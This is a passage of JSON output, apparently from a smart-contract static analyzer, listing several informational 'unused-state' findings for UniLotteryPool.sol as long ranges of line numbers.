6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534, 1535, 1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592, 1593, 1594, 1595, 1596, 1597, 1598, 1599, 1600, 1601, 1602, 1603, 1604, 1605, 1606, 1607, 1608, 1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631, 1632, 1633, 1634, 1635, 1636, 1637, 1638, 1639, 1640, 1641, 1642, 1643, 1644, 1645, 1646, 1647, 1648, 1649, 1650, 1651, 1652, 1653, 1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661, 1662, 1663, 1664, 1665, 1666, 1667, 1668, 1669, 1670, 1671, 1672, 1673, 1674, 1675, 1676, 1677, 1678, 1679, 1680, 1681, 1682, 1683, 1684, 1685, 1686, 1687, 1688, 1689, 1690, 1691, 1692, 1693, 1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1738, 1739, 1740, 1741, 1742, 1743, 1744, 1745, 1746, 1747, 1748, 1749, 1750, 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1768, 1769, 1770, 1771, 1772, 1773, 1774, 1775, 1776, 1777, 1778, 1779, 1780, 1781, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791, 1792, 1793, 1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801, 1802, 1803, 1804, 1805, 1806, 1807, 1808, 1809, 1810, 1811, 1812, 1813, 1814, 1815, 1816, 1817, 1818, 1819, 1820, 1821, 1822, 1823, 1824, 1825, 1826, 1827, 1828, 1829, 1830, 1831, 1832, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047, 2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 2375, 2376, 2377, 2378, 2379, 2380, 2381, 2382, 2383, 2384, 2385, 2386, 2387, 2388, 2389, 2390, 2391, 2392, 2393, 2394, 2395, 2396, 2397, 2398, 2399, 2400, 2401, 2402, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2410, 2411, 2412, 2413, 2414, 2415, 2416, 2417, 2418, 2419, 2420, 2421, 2422, 2423, 2424, 2425, 2426, 2427, 2428, 2429, 2430, 2431, 2432, 2433, 2434, 2435, 2436, 2437, 2438, 2439, 2440, 2441, 2442, 2443, 2444, 2445, 2446, 2447, 2448, 2449, 2450, 2451, 2452, 2453, 2454, 2455, 2456, 2457, 2458, 2459, 2460, 2461, 2462, 2463, 2464, 2465, 2466, 2467, 2468, 2469, 2470, 2471, 2472, 2473, 2474, 2475, 2476, 2477, 2478, 2479, 2480, 2481, 2482, 2483, 2484, 2485, 2486, 2487, 2488, 2489, 2490, 2491, 2492, 2493, 2494, 2495, 2496, 2497, 2498, 2499, 2500, 2501, 2502, 2503, 2504, 2505, 2506, 2507, 2508, 2509, 2510, 2511, 2512, 2513, 2514, 2515, 2516, 2517, 2518, 2519, 2520, 2521, 2522, 2523, 2524, 2525, 2526, 2527, 2528, 2529, 2530, 2531, 2532, 2533, 2534, 2535, 2536, 2537, 2538, 2539, 2540, 2541, 2542, 2543, 2544, 2545, 2546, 2547, 2548, 2549, 2550, 2551, 2552, 2553, 2554, 2555, 2556, 2557, 2558, 2559, 2560, 2561, 2562, 2563, 2564, 2565, 2566, 2567, 2568, 2569, 2570, 2571, 2572, 2573, 2574, 2575, 2576, 2577, 2578, 2579, 2580, 2581, 2582, 2583, 2584, 2585, 2586, 2587, 2588, 2589, 2590, 2591, 2592, 2593, 2594, 2595, 2596, 2597, 2598, 2599, 2600, 2601, 2602, 2603, 2604, 2605, 2606, 2607, 2608, 2609, 2610, 2611, 2612, 2613, 2614, 2615, 2616, 2617, 2618, 2619, 2620, 2621, 2622, 2623, 2624, 2625, 2626, 2627, 2628, 2629, 2630, 2631, 2632, 2633, 2634, 2635, 2636, 2637, 2638, 2639, 2640, 2641, 2642, 2643, 2644, 2645, 2646, 2647, 2648, 2649, 2650, 2651, 2652, 2653, 2654, 2655, 2656, 2657, 2658, 2659, 2660, 2661, 2662, 2663, 2664, 2665, 2666, 2667, 2668, 2669, 2670, 2671, 2672, 2673, 2674, 2675, 2676, 2677, 2678, 2679, 2680, 2681, 2682, 2683, 2684, 2685, 2686, 2687, 2688, 2689, 2690, 2691, 2692, 2693, 2694, 2695, 2696, 2697, 2698, 2699, 2700, 2701, 2702, 2703, 2704, 2705, 2706, 2707, 2708, 2709, 2710, 2711, 2712, 2713, 2714, 2715, 2716, 2717, 2718, 2719, 2720, 2721, 2722, 2723, 2724, 2725, 2726, 2727, 2728, 2729, 2730, 2731, 2732, 2733, 2734, 2735, 2736, 2737, 2738, 2739, 2740, 2741, 2742, 2743, 2744, 2745, 2746, 2747, 2748, 2749, 2750, 2751, 2752, 2753, 2754, 2755, 2756, 2757, 2758, 2759, 2760, 2761, 2762, 2763, 2764, 2765, 2766, 2767, 2768, 2769, 2770, 2771, 2772, 2773, 2774, 2775, 2776, 2777, 2778, 2779, 2780, 2781, 2782, 2783, 2784, 2785, 2786, 2787, 2788, 2789, 2790, 2791, 2792, 2793, 2794, 2795, 2796, 2797, 2798, 2799, 2800, 2801, 2802, 2803, 2804, 2805, 2806, 2807, 2808, 2809, 2810, 2811, 2812, 2813, 2814, 2815, 2816, 2817, 2818, 2819, 2820, 2821, 2822, 2823, 2824, 2825, 2826, 2827, 2828, 2829, 2830, 2831, 2832, 2833, 2834, 2835, 2836, 2837, 2838, 2839, 2840, 2841, 2842, 2843, 2844, 2845, 2846, 2847, 2848, 2849, 2850, 2851, 2852, 2853, 2854, 2855, 2856, 2857, 2858, 2859, 2860, 2861, 2862, 2863, 2864, 2865, 2866, 2867, 2868, 2869, 2870, 2871, 2872, 2873, 2874, 2875, 2876, 2877, 2878, 2879, 2880, 2881, 2882, 2883, 2884, 2885, 2886, 2887, 2888, 2889, 2890, 2891, 2892, 2893, 2894, 2895, 2896, 2897, 2898, 2899, 2900, 2901, 2902, 2903, 2904, 2905, 2906, 2907, 2908, 2909, 2910, 2911, 2912, 2913, 2914, 2915, 2916, 2917, 2918, 2919, 2920, 2921, 2922, 2923, 2924, 2925, 2926, 2927, 2928, 2929, 2930, 2931, 2932, 2933, 2934, 2935, 2936, 2937, 2938, 2939, 2940, 2941, 2942, 2943, 2944, 2945, 2946, 2947, 2948, 2949, 2950, 2951, 2952, 2953, 2954, 2955, 2956, 2957, 2958, 2959, 2960, 2961, 2962, 2963, 2964, 2965, 2966, 2967, 2968, 2969, 2970, 2971, 2972, 2973, 2974, 2975, 2976, 2977, 2978, 2979, 2980, 2981, 2982, 2983, 2984, 2985, 2986, 2987, 2988, 2989, 2990, 2991, 2992, 2993, 2994, 2995, 2996, 2997, 2998, 2999, 3000, 3001, 3002]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3401, 3402, 3403, 3404, 3405, 3406, 3407, 3408, 3409, 3410, 3411, 3412, 3413, 3414, 3415, 3416, 3417, 3418, 3419, 3420, 3421, 3422, 3423, 3424, 3425, 3426, 3427, 3428, 3429, 3430, 3431, 3432, 3433, 3434, 3435, 3436, 3437, 3438, 3439, 3440, 3441, 3442, 3443, 3444, 3445, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3455, 3456, 3457, 3458, 3459, 3460, 3461, 3462, 3463, 3464, 3465, 3466, 3467, 3468, 3469, 3470, 3471, 3472, 3473, 3474, 3475, 3476, 3477, 3478, 3479, 3480, 3481, 3482, 3483, 3484, 3485, 3486, 3487, 3488, 3489, 3490, 3491, 3492, 3493, 3494, 3495, 3496, 3497, 3498, 3499, 3500, 3501, 3502, 3503, 3504, 3505, 3506, 3507, 3508, 3509, 3510, 3511, 3512, 3513, 3514, 3515, 3516, 3517, 3518, 3519, 3520, 3521, 3522, 3523, 3524, 3525, 3526, 3527, 3528, 3529, 3530, 3531, 3532, 3533, 3534, 3535, 3536, 3537, 3538, 3539, 3540, 3541, 3542, 3543, 3544, 3545, 3546, 3547, 3548, 3549, 3550, 3551, 3552, 3553, 3554, 3555, 3556, 3557, 3558, 3559, 3560, 3561, 3562, 3563, 3564, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583, 3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3606, 3607, 3608, 3609, 3610, 3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651, 3652, 3653, 3654, 3655, 3656, 3657, 3658, 3659, 3660, 3661, 3662, 3663, 3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744, 3745, 3746, 3747, 3748, 3749, 3750, 3751, 3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789, 3790, 3791, 3792, 3793, 3794, 3795, 3796, 3797, 3798, 3799, 3800, 3801, 3802, 3803, 3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017, 4018, 4019, 4020, 4021, 4022, 4023, 4024, 4025, 4026, 4027, 4028, 4029, 4030, 4031, 